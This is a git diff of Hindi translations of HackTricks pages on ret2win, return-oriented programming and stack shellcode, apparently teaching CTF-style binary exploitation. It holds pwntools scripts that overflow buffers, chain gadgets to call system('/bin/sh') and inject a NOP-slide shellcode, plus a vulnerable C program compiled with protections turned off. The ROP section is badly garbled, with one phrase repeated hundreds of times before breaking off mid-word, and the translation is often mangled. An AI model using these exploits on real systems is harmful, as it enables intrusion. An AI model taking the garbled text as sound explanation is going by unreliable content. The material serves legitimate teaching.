यहां एक और विस्तृत स्पष्टीकरण उदाहरणों के साथ है: +**Ret2win** चैलेंज **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी है, विशेष रूप से उन कार्यों में जो **बाइनरी उत्पीड़न** को शामिल करते हैं। लक्ष्य एक दिया गया बाइनरी में एक संकट का शोध करना है ताकि बाइनरी के भीतर एक विशिष्ट, अबिनिमंत्रित कार्य को निष्पादित करें, जिसे आम तौर पर `win`, `ret2win` आदि कुछ नामों से नामित किया जाता है। यह कार्य, जब निष्पादित किया जाता है, आम तौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आम तौर पर स्टैक पर **वापसी पता** को ओवरराइट करके निर्देशित कार्य में निष्पादन प्रवाह को भटकाने को शामिल करती है। यहां एक और विस्तृत स्पष्टीकरण उदाहरणों के साथ है: ### C उदाहरण @@ -45,13 +45,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` * `-m32`: कार्यक्रम को 32-बिट बाइनरी के रूप में कंपाइल करें (यह ऐच्छिक है लेकिन CTF चैलेंज में सामान्य है)। * `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें। -* `-z execstack`: स्टैक पर कोड का क्रियान्वयन करने दें। -* `-no-pie`: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता बदल न जाए। +* `-z execstack`: स्टैक पर कोड का क्रियान्वयन सुनिश्चित करें। +* `-no-pie`: स्थिति स्वत: साधारित कार्यकारी को अक्षम करें ताकि `win` फ़ंक्शन का पता बदले नहीं। * `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें। ### Pwntools का उपयोग करके Python अभियांत्रिकी -उत्पीड़न के लिए, हम **pwntools** का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र को ओवरफ़्लो करें और वापसी पता को `win` फ़ंक्शन के पते से अधिलेखित करें। +उत्पीड़न के लिए, हम **pwntools** का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र ओवरफ़्लो हो और वापसी पता `win` फ़ंक्शन के पते से ओवरराइट हो। ```python from pwn import * @@ -71,33 +71,33 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` -विजेता कार्य का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप इस्तेमाल कर सकते हैं: +विजेता समाधान का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप इस्तेमाल कर सकते हैं: ```sh objdump -d vulnerable | grep win ``` -यह कमांड आपको `win` फ़ंक्शन के असेंबली को दिखाएगा, इसमें इसका प्रारंभ पता शामिल है। +यह कमांड आपको `win` फ़ंक्शन के असेंबली को दिखाएगी, जिसमें इसका प्रारंभ पता शामिल है। -पायथन स्क्रिप्ट एक ध्यानपूर्वक तैयार किया गया संदेश भेजता है जो `vulnerable_function` द्वारा प्रसंस्कृत किया जाता है, बफर को ओवरफ्लो करता है और स्टैक पर वापसी पता `win` के पते के साथ ओवरराइट करता है। जब `vulnerable_function` वापस लौटता है, `main` या बाहर निकलने की बजाय, यह `win` पर जाता है, और संदेश प्रिंट होता है। +पायथन स्क्रिप्ट एक ध्यानपूर्वक तैयार किया गया संदेश भेजता है जो `vulnerable_function` द्वारा प्रसंस्कृत किया जाता है, बफर को ओवरफ़्लो करता है और स्टैक पर वापसी पता `win` के पते के साथ ओवरराइट करता है। जब `vulnerable_function` वापस लौटता है, `main` या बाहर निकलने की बजाय, यह `win` पर जाता है, और संदेश प्रिंट होता है। ## सुरक्षा -* [**ASLR**](../common-binary-protections/aslr.md) **को अक्षम कर देना चाहिए** ताकि पता हमेशा से एक ही निष्पादनों के लिए स्थायी हो या फ़ंक्शन को कहां स्थानित किया जाएगा यह हमेशा समान नहीं होगा और आपको जीतने के लिए कुछ लीक की आवश्यकता होगी। -* [**स्टैक कैनेरीज़**](../common-binary-protections/stack-canaries.md) भी अक्षम होना चाहिए या संकटित EIP वापसी पता कभी भी अनुसरण नहीं किया जाएगा। +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **को अक्षम कर देना चाहिए** ताकि पता हमेशा से विश्वसनीय हो या फ़ंक्शन को कहां स्टोर किया जाएगा वह हमेशा समान नहीं रहेगा और आपको जीतने के लिए कुछ लीक की आवश्यकता होगी। +* [**स्टैक कैनेरीज**](../common-binary-protections-and-bypasses/stack-canaries/) भी अक्षम होना चाहिए या अपहरणित EIP वापसी पता कभी भी अनुसरण नहीं किया जाएगा। -## अन्य उदाहरण +## अन्य उदाहरण और संदर्भ * [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
-जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)! +जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: -* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! -* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फ़ॉलो** करें। +* यदि आप अपनी कंपनी का **विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **हैकिंग ट्रिक्स साझा करें** हैकिंग ट्रिक्स को **पीआर** जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 487a40e55..6c39e39ea 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -2,66 +2,119 @@
-जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)! +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: -* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें -* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह -* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में। +* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
-## **मूलभूत जानकारी** +## **मूल जानकारी** -**रिटर्न-ओरिएंटेड प्रोग्रामिंग (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग **No-Execute (NX)** या **Data Execution Prevention (DEP)** जैसी सुरक्षा उपायों को नष्ट करने के लिए किया जाता है। शेलकोड इंजेक्शन और निष्पादन की बजाय, एक हमलावर बाइनरी या लोडेड लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का उपयोग करता है, जिन्हें **"गैजेट्स"** कहा जाता है। प्रत्येक गैजेट सामान्यत: एक `ret` निर्देश के साथ समाप्त होता है और एक छोटे से कार्य को करता है, जैसे कि रजिस्टर्स के बीच डेटा को ले जाना या अंकगणितीय कार्यों को करना। इन गैजेट्स को एक साथ जोड़कर, एक हमलावर एक पेलोड बना सकता है जिससे वह विभिन्न कार्रवाई कर सकता है, NX/DEP सुरक्षा को असफल करते हुए। - -### कॉलिंग कनवेंशन - -**कॉलिंग कनवेंशन** को समझना ROP श्रृंखलाएं तैयार करने के लिए महत्वपूर्ण है, विशेषकर जब फ़ंक्शन को कॉल किया जाता है या डेटा को संचालित किया जाता है: - -**x86 (32-बिट)** - -* **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उलटे क्रम में ढकें (दाएं से बाएं)। **तर्क स्टैक पर दाएं से बाएं की ओर ढके जाते हैं।** -* **stdcall**: cdecl के समान है, लेकिन स्टैक को साफ करने के लिए कॉली जिम्मेदार है। - -**x64 (64-बिट)** - -* Unix-जैसे सिस्टम पर **System V AMD64 ABI** कॉलिंग कनवेंशन का उपयोग करता है, जहां **पहले छह पूर्णांक या पॉइंटर तर्कों को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पारित किया जाता है। अतिरिक्त तर्क स्टैक पर पारित किए जाते हैं। रिटर्न मान `RAX` में रखा जाता है। -* **Windows x64** कॉलिंग कनवेंशन में पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग किया जाता है, अतिरिक्त तर्क स्टैक पर पारित किए जाते हैं। रिटर्न मान `RAX` में रखा जाता है। -* **रजिस्टर्स**: 64-बिट रजिस्टर्स में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं। - -{% hint style="danger" %} -उन कॉलिंग कनवेंशन से पाया जा सकता है कि **32 बिट में तर्क** फ़ंक्शनों के **आर्ग्यूमेंट** को **स्टैक के माध्यम से पारित** किया जाता है जबकि **x64** में वे **निश्चित रजिस्टर्स में रखे** जाते हैं। -{% endhint %} +**रिटर्न-ओरिएंटेड प्रोग्रामिंग (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग **कोई-एक्जीक्यूट (NX)** या **डेटा एक्जीक्यूशन प्रिवेंशन (DEP)** जैसी सुरक्षा उपायों को दूर करने के लिए किया जाता है। शेलकोड इंजेक्ट और निष्पादित करने की बजाय, एक हमलावर बाइनरी या लोडेड लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का उपयोग करता है, जिन्हें **"गैजेट्स"** कहा जाता है। प्रत्येक गैजेट सामान्यत: `ret` निर्देश के साथ समाप्त होता है और एक छोटे से कार्य को करता है, जैसे कि रजिस्टर के बीच डेटा को ले जाना या अंकगणितीय कार्यों को करना। इन गैजेट्स को एक साथ जोड़कर, एक हमलावर एक पेलोड बना सकता है जिससे वे एकाधिक कार्रवाई कर सकते हैं, NX/DEP सुरक्षा को असफल करते हुए। ### ROP कैसे काम करता है -1. **नियंत्रण प्रवाह उद्धारण**: पहले, एक हमलावर को किसी प्रोग्राम के नियंत्रण प्रवाह को उद्धारण करने की आवश्यकता होती है, सामान्यत: एक बफर ओवरफ्लो का शोषण करके स्टैक पर सहेजी गई रिटर्न पता को अधिकृत करने के लिए। -2. **गैजेट श्रृंखला**: फिर हमलावर ध्यानपूर्वक गैजेट्स का चयन करता है और उन्हें एक साथ जोड़ता है ताकि वह वांछित क्रियाएँ कर सके। इसमें किसी फ़ंक्शन के लिए तर्कों के लिए तर्कों को सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी आवश्यक सफाई या अतिरिक्त क्रियाओं का संभालन शामिल हो सकता है। -3. **पेलोड निष्पादन**: जब भीषण फ़ंक्शन वापस आता है, वास्तविक स्थान पर वापस न जाने की बजाय, वह गैजेटों की श्रृंखला का निष्पादन करने लगता है। +1. **नियंत्रण फ्लो हाइजैकिंग**: पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण फ्लो को हाइजैक करने की आवश्यकता होती है, सामान्यत: एक बफर ओवरफ्लो का शोषण करके स्टैक पर सहेजी गई वापसी पता को अधिक करने के द्वारा। +2. **गैजेट चेनिंग**: फिर हमलावर ध्यानपूर्वक गैजेट्स का चयन करता है और चेनिंग करता है ताकि वह वांछित कार्रवाई कर सके। इसमें किसी फ़ंक्शन के लिए तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से त +```python +from pwn import * -### x86 में ROP श्रृंखला +# Assuming we have the binary's ELF and its process +binary = context.binary = ELF('your_binary_here') +p = process(binary.path) -चलिए एक काल्पनिक स्थिति का विचार करें जहां हम ROP का उपयोग करके 32-बिट बाइनरी में `system("/bin/sh")` को कॉल करना चाहते हैं: +# Find the address of the string "/bin/sh" in the binary +bin_sh_addr = next(binary.search(b'/bin/sh\x00')) -1. **गैजेट्स खोजें**: मान लें हमने बाइनरी या लोडेड लाइब्रेरी में निम्नलिखित गैजेट्स पाए हैं: -* `pop eax; ret`: स्टैक के शीर्ष को `EAX` में पॉप करता है और वापस लौटता है। -* `pop ebx; ret`: स्टैक के शीर्ष को `EAX` में पॉप करता है और वापस लौटता है। -* `mov [ebx], eax; ret`: `EAX` में मौजूद मान को `EBX` द्वारा संकेतित स्थान में ले जाता है। -* `system` का पता। -2. **श्रृंखला तैयार करें**: हमें एक स्टैक तैयार करने की आवश्यकता है जो इस प्रकार दिखता है: -* `EBX` सेट करने वाले गैजेट का पता। -* `pop eax; ret` गैजेट का पता। -* मेमोरी में स्ट्रिंग `"/bin/sh"` का पता (या हम इसे लिखने की योजना बनाते हैं)। -* `mov [ebx], eax; ret` गैजेट का पता, `EBX` द्वारा संकेतित स्थान में `"/bin/sh"` को ले जाने के लिए। -* `system` फ़ंक्शन का पता, `EBX` हमारी स्ट्रिंग को संकेतित करते हुए। -3. **निष्पादन**: जब भीषण फ़ंक्शन वापस आता है, वह हमारी गैजेट श्रृंखला का निष्पादन करने लगता है, अंततः `system("/bin/sh")` को कॉल करता है, और एक शैल उत्पन्न करता है। +# Address of system() function (hypothetical value) +system_addr = 0xdeadcode -### x64 में ROP +# A gadget to control the return address, typically found through analysis +ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address -सोचिए एक काल्पनिक स्थिति जहां आप System V AMD64 ABI का उपयोग करके x64 सिस्टम पर `execve("/bin/sh", NULL, NULL)` को कॉल करना चाहते हैं: +# Construct the ROP chain +rop_chain = [ +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +] -1. **गैजेट्स खोजना**: पहले आपको `RDI`, `RSI`, और `RDX` रजिस्टर्स को नियंत्रित करने की अनुमति +# Flatten the rop_chain for use +rop_chain = b''.join(p32(addr) for addr in rop_chain) + +# Send ROP chain +## offset is the number of bytes required to reach the return address on the stack +payload = fit({offset: rop_chain}) +p.sendline(payload) +p.interactive() +``` +## ROP Chain का x64 उदाहरण + +### **x64 (64-बिट) कॉलिंग कनवेंशन** + +* यूनिक्स-जैसे सिस्टम्स पर **System V AMD64 ABI** कॉलिंग कनवेंशन का उपयोग करता है, जहां **पहले छह पूर्णांक या पॉइंटर आर्ग्यूमेंट को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9` में पारित किया जाता है**। अतिरिक्त आर्ग्यूमेंट स्टैक पर पारित किए जाते हैं। रिटर्न मान `RAX` में रखा जाता है। +* **Windows x64** कॉलिंग कनवेंशन में पहले चार पूर्णांक या पॉइंटर आर्ग्यूमेंट के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग किया जाता है, अतिरिक्त आर्ग्यूमेंट स्टैक पर पारित किए जाते हैं। रिटर्न मान `RAX` में रखा जाता है। +* **रजिस्टर**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं। + +#### **गैजेट्स खोजना** + +हमारे उद्देश्य के लिए, चलो हमें उन गैजेट्स पर ध्यान केंद्रित करने दें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (**system()** को आर्ग्यूमेंट के रूप में **"/bin/sh"** स्ट्रिंग पास करने के लिए) और फिर **system()** फ़ंक्शन को कॉल करेंगे। हम मान लेंगे कि हमने निम्नलिखित गैजेट्स की पहचान कर ली है: + +* **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर वापस लौटता है। **system()** के लिए हमारे आर्ग्यूमेंट सेट करने के लिए आवश्यक है। +* **ret**: एक सरल रिटर्न, कुछ स्थितियों में स्टैक संरेखण के लिए उपयोगी। + +और हम **system()** फ़ंक्शन का पता जानते हैं। + +### **ROP Chain** + +नीचे एक उदाहरण है **pwntools** का उपयोग करके एक ROP चेन सेट अप और निष्पादन करने के लिए, जिसका उद्देश्य **x64** पर **system('/bin/sh')** को निष्पादित करना है: +```python +pythonCopy codefrom pwn import * + +# Assuming we have the binary's ELF and its process +binary = context.binary = ELF('your_binary_here') +p = process(binary.path) + +# Find the address of the string "/bin/sh" in the binary +bin_sh_addr = next(binary.search(b'/bin/sh\x00')) + +# Address of system() function (hypothetical value) +system_addr = 0xdeadbeefdeadbeef + +# Gadgets (hypothetical values) +pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret +ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary + +# Construct the ROP chain +rop_chain = [ +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. +] + +# Flatten the rop_chain for use +rop_chain = b''.join(p64(addr) for addr in rop_chain) + +# Send ROP chain +## offset is the number of bytes required to reach the return address on the stack +payload = fit({offset: rop_chain}) +p.sendline(payload) +p.interactive() +``` +### स्टैक एलाइनमेंट + +**x86-64 ABI** सुनिश्चित करता है कि जब एक **कॉल इंस्ट्रक्शन** को निष्पादित किया जाता है तो **स्टैक 16-बाइट एलाइन्ड** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए **SSE इंस्ट्रक्शन** (जैसे **movaps**) का उपयोग करता है जो इस एलाइनमेंट की आवश्यकता है। यदि स्टैक सही ढंग से एलाइन नहीं है (यानी **RSP** 16 का गुणक नहीं है), तो **ROP चेन** में **system** जैसी फ़ंक्शन के कॉल में विफलता होगी। इसे ठीक करने के लिए, आपके ROP चेन में **system** को कॉल करने से पहले बस एक **ret गैजेट** जोड़ें। + +## x86 बनाम x64 मुख्य अंतर + +{% hint style="success" %} +क्योंकि x64 पहले कुछ तर्क के लिए रजिस्टर का उपयोग करता है, इसलिए साधारण फ़ंक्शन कॉल के लिए x64 में अक्सर x86 से कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट्स का पता लगाना और उन्हें चेन करना अधिक जटिल हो सकता है क्योंकि रजिस्टरों की बढ़ी हुई संख्या और बड़े पते का अंतर्वस्तु अंतर्वस्तु में वृद्धि होती है। **x64** आर्किटेक्चर में रजिस्टरों की बढ़ी हुई संख्या और बड़े पते का अंतर्वस्तु अंतर्वस्तु में वृद्धि होती है जो उत्पीड़न विकास के लिए अवसर और चुनौतियाँ प्रदान करता है, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में। +{% endhint %} diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md new file mode 100644 index 000000000..7fb6e679b --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -0,0 +1,107 @@ +# स्टैक शेलकोड + +
+ +जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें +* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। +* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके। + +
+ +## मूल जानकारी + +**स्टैक शेलकोड** एक तकनीक है जो बाइनरी उत्पीड़न में प्रयोग की जाती है जहाँ हमलावता एक वंशीय कार्यक्रम के स्टैक में शेलकोड लिखता है और फिर **इंस्ट्रक्शन पॉइंटर (IP)** या **विस्तारित इंस्ट्रक्शन पॉइंटर (EIP)** को इस शेलकोड के स्थान पर संशोधित करता है, जिससे यह निषेधात्मक पहुंच या लक्षित निर्देशों को निष्पादित करने के लिए कार्रवाई करता है। यह एक क्लासिक विधि है जो अनधिकृत पहुंच हासिल करने या लक्षित सिस्टम पर विचारशील आदेशों को निष्पादित करने के लिए प्रयोग की जाती है। यहाँ प्रक्रिया का विवरण है, जिसमें एक सरल सी उदाहरण और आपको दिखाया गया है कि आप किस प्रकार से **pwntools** का उपयोग करके पायथन का उपयुक्त शोध लिख सकते हैं। + +### सी उदाहरण: एक वंशीय कार्यक्रम + +चलो एक वंशीय सी कार्यक्रम का एक सरल उदाहरण देखें: +```c +#include +#include + +void vulnerable_function() { +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow +} + +int main() { +vulnerable_function(); +printf("Returned safely\n"); +return 0; +} +``` +यह प्रोग्राम `gets()` फ़ंक्शन का उपयोग करने के कारण एक बफर ओवरफ़्लो के लिए वंशक्त है। + +### Compilation + +इस प्रोग्राम को कंपाइल करने के लिए विभिन्न सुरक्षा प्रोटेक्शन को अक्षम करते हुए (एक वंशक्त वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं: +```sh +gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c +``` +* `-fno-stack-protector`: स्टैक सुरक्षा को निषेधित करता है। +* `-z execstack`: स्टैक को क्रियाशील बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है। +* `-no-pie`: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को निष्क्रिय करता है, जिससे हमारे शेलकोड का स्थान जिसमें होगा उसे पूर्वानुमानित करना आसान हो जाता है। +* `-m32`: कार्यक्रम को 32-बिट एक्जीक्यूटेबल के रूप में कंपाइल करता है, अक्स्प्लॉइट विकास में सरलता के लिए अक्सर उपयोग किया जाता है। + +### Pwntools का उपयोग करके Python Exploit + +यहाँ एक उदाहरण है कि आप **pwntools** का उपयोग करके Python में एक एक्सप्लॉइट लिख सकते हैं जो एक **ret2shellcode** हमला करने के लिए है: +```python +from pwn import * + +# Set up the process and context +binary_path = './vulnerable' +p = process(binary_path) +context.binary = binary_path +context.arch = 'i386' # Specify the architecture + +# Generate the shellcode +shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell + +# Find the offset to EIP +offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash + +# Prepare the payload +# The NOP slide helps to ensure that the execution flow hits the shellcode. +nop_slide = asm('nop') * (offset - len(shellcode)) +payload = nop_slide + shellcode +payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP +payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide + +# Send the payload +p.sendline(payload) +p.interactive() +``` +यह स्क्रिप्ट एक **NOP स्लाइड**, **शेलकोड**, और फिर **EIP** को NOP स्लाइड को पॉइंट करने वाले पते से ओवरराइट करके एक payload बनाता है, जिससे शेलकोड को निष्पादित किया जाता है। + +**NOP 